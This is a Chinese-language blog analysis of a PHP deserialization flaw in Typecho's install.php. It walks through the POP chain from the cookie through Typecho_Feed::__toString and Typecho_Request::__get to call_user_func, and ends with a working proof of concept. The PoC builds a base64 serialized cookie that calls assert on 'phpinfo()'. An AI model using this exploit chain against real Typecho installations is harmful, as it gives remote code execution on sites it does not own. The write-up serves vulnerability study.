0x01 概要
大概是26号晚上,Th1s师傅在群里发了个typecho有后门的消息,看到了以后就去搜了下,找到了一片分析的文章,大致的漏洞成因是在typecho安装成功后,并为自动删除install.php,但是在这个install.php中存在一个php的反序列化漏洞,并存在一个能够执行命令的利用方式。
该漏洞在24号就被修补上了,并且作者也在27号进行了回应,我选择相信作者,一是因为作者回应文章写的有理有据,二是因为我自己也做过开发,真心觉得支撑这样一个开源项目是相当不容易的。
0x02 源码分析
在得知这个漏洞的大概形成原因后,我没有仔细的看别人的分析文章,只是知道漏洞存在install.php这个文件中,是一个反序列化漏洞,那么就先打开install.php看一下哪里存在反序列化函数
0 1 2 3 4 5 6 7 8 |
//install.php <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?> |
在一堆html中间我发现了这堆代码,可以看到是对cookie
中的__typecho_config
进行的反序列化。
看到这里就想起了Th1s师傅总结的对于PHP反序列化能被利用所需要满足的两个条件:
0 1 2 |
反序列化内容可控 存在POP链 |
在这里我们可以对cookie中的内容进行控制,接下来就需要找到POP链(Property-Oriented Programing)。
这里在反序列化后,使用$config['adapter']
和$config['prefix']
来new
了一个新的DB
对象,那么这个时候是会调用Typecho_Db
这个对象的构造函数,进入到这个函数的构造函数中:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
//Db.php public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); } |
看到这里的时候,由于对于魔术方法的不熟悉,并没有看出哪里有可以利用的地方,但是看了王松_Striker
关于typecho的“后门”分析,其中关于魔术方法的总结让我豁然开朗:
0 1 2 3 4 5 6 7 8 9 10 11 |
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发 |
可以看到__toString
这个魔术方法是在把类当作字符串的时候会触发的,这个时候我们再来看上面的代码,中间有一行可以看到:
0 1 2 |
/** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; |
在这里,将$adapterName
当做了字符串拼接到了Typecho_Db_Adapter_
后面,那么机会来了,这个$adapterName
是前面我们传递过去的,也就是$config['adapter']
,是我们完全可以控制的,所以接下来全局搜索__toString
这个函数,会发现有两个类实现了这个魔术方法,Typecho_Db_Query
和Typecho_Feed
,第一个里面没有发现有用的东西,那么来看第二个,只截取关键部分:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 |
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; if (!empty($item['category']) && is_array($item['category'])) { foreach ($item['category'] as $category) { $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL; } } |
第一遍看到这里的时候并没有发现有什么问题,但是再次仔细看了之后发现了有一行存在问题:
0 1 |
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; |
这里如果screenName
如果是一个不可访问的属性的时候则会调用__get
方法,但是在这个类中却没有实现__get
方法,那么我们接下来再全局搜索__get
方法,看看哪里存在:
0 1 2 3 4 5 6 7 8 9 10 11 12 |
//Request.php /** * 获取实际传递参数(magic) * * @access public * @param string $key 指定参数 * @return mixed */ public function __get($key) { return $this->get($key); } |
跟进去看一下:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
//Request.php public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); } |
这个里面是一堆赋值的语句,并没有什么问题,跟进return
后面的函数:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
//Request.php /** * 应用过滤器 * * @access private * @param mixed $value * @return mixed */ private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; } |
终于在这个函数里面看到了久违的希望–call_user_func
,有了这个函数,我们就可以自己构造了,像执行什么函数就执行什么函数。
0x03 POC编写
分析过后只是把漏洞的原理讲清楚了,真正的利用还是另一码事,所以在编写POC
的时候要一步一步来。
首先在进入漏洞之前需要满足几个条件,看源码说话:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
//install.php Line 63 // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } } |
这里说明要在利用的时候要设置referer
,然后继续往下看:
0 1 2 3 4 5 6 7 8 9 10 |
//install.php Line 213 <?php if (isset($_GET['finish'])) : ?> <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?> <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1> <div class="typecho-install-body"> <form method="post" action="?config" name="config"> <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p> </form> </div> <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?> |
这里说明要使用get
传递个finish
参数,并且__typecho_config
这个里面有值(废话,当然有值了)。
然后在反序列化后,调用toString
的时候,我们需要将传递过去的$config['adapter']
变为Typecho_Feed
这个类,这样才能调用__toString
魔术方法。
最后,由于要使用到Request.php
文件中的Typecho_Request
类的__get
魔术方法,我们还需要将构造的Typecho_Feed
类中的$item['author']
定义为Typecho_Request
类。最后的最后,我们需要在定义好的Typecho_Request
类中为定义两个变量:$_params
和$_filter
,并且在类的构造函数中对其进行赋值。
至此,POC就结束了,我们对上述构造的类进行序列化,并base64_encode
,然后放入cookie
的__typecho_config
字段中,就可以了。
POC如下:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); |
上述POC摘自王松_Striker
的文章中。
成功截图: